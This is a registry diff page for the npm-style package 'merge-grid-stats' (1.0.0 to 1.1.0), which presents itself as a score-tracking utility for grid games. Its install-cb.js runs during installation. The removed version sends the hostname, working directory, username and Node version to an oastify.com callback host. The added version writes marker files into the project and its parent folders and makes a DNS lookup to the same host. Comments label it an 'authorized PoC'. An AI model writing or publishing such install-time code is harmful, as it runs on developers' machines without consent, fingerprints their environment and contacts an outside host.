merge-grid-stats 1.0.0 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install-cb.js +20 -10
  2. package/package.json +1 -1
package/install-cb.js CHANGED
@@ -1,11 +1,21 @@
1
- // Authorized PoC (non-destructive): out-of-band callback to attribute RCE during package install.
2
- // Sends hostname/cwd/user for environment attribution. No data exfiltration beyond env fingerprint.
1
+ // Authorized PoC (non-destructive): marker-file proof of code execution + bounded DNS OOB.
2
+ var fs = require('fs');
3
+ var path = require('path');
3
4
  var os = require('os');
4
- var https = require('https');
5
- var q = 'h=' + encodeURIComponent(os.hostname()) +
6
- '&c=' + encodeURIComponent(process.cwd()) +
7
- '&u=' + encodeURIComponent((os.userInfo && os.userInfo().username) || '') +
8
- '&v=' + process.version;
9
- https.get('https://owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com/n2?' + q, function (res) {
10
- res.resume();
11
- }).on('error', function () {});
5
+
6
+ var cwd = process.cwd();
7
+ var lines = ['poc-marker', 'cwd=' + cwd, 'host=' + (function(){ try{return os.hostname();}catch(e){return '?';} })(), 'time=' + new Date().toISOString()];
8
+ var data = lines.join('\n');
9
+
10
+ // Write marker files into cwd and up to two levels up (lands in project root)
11
+ ['', '..', '../..'].forEach(function (rel) {
12
+ try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), data); } catch (e) {}
13
+ });
14
+
15
+ // Bounded DNS callback (5s cap) - tests DNS egress without hanging install
16
+ try {
17
+ var dns = require('dns');
18
+ var host = 'mgs-v11.owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com';
19
+ var timer = setTimeout(function () {}, 5000);
20
+ dns.lookup(host, function () { try { clearTimeout(timer); } catch (e) {} });
21
+ } catch (e) {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "merge-grid-stats",
3
- "version": "1.0.0",
3
+ "version": "1.1.0",
4
4
  "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
5
5
  "main": "index.js",
6
6
  "scripts": {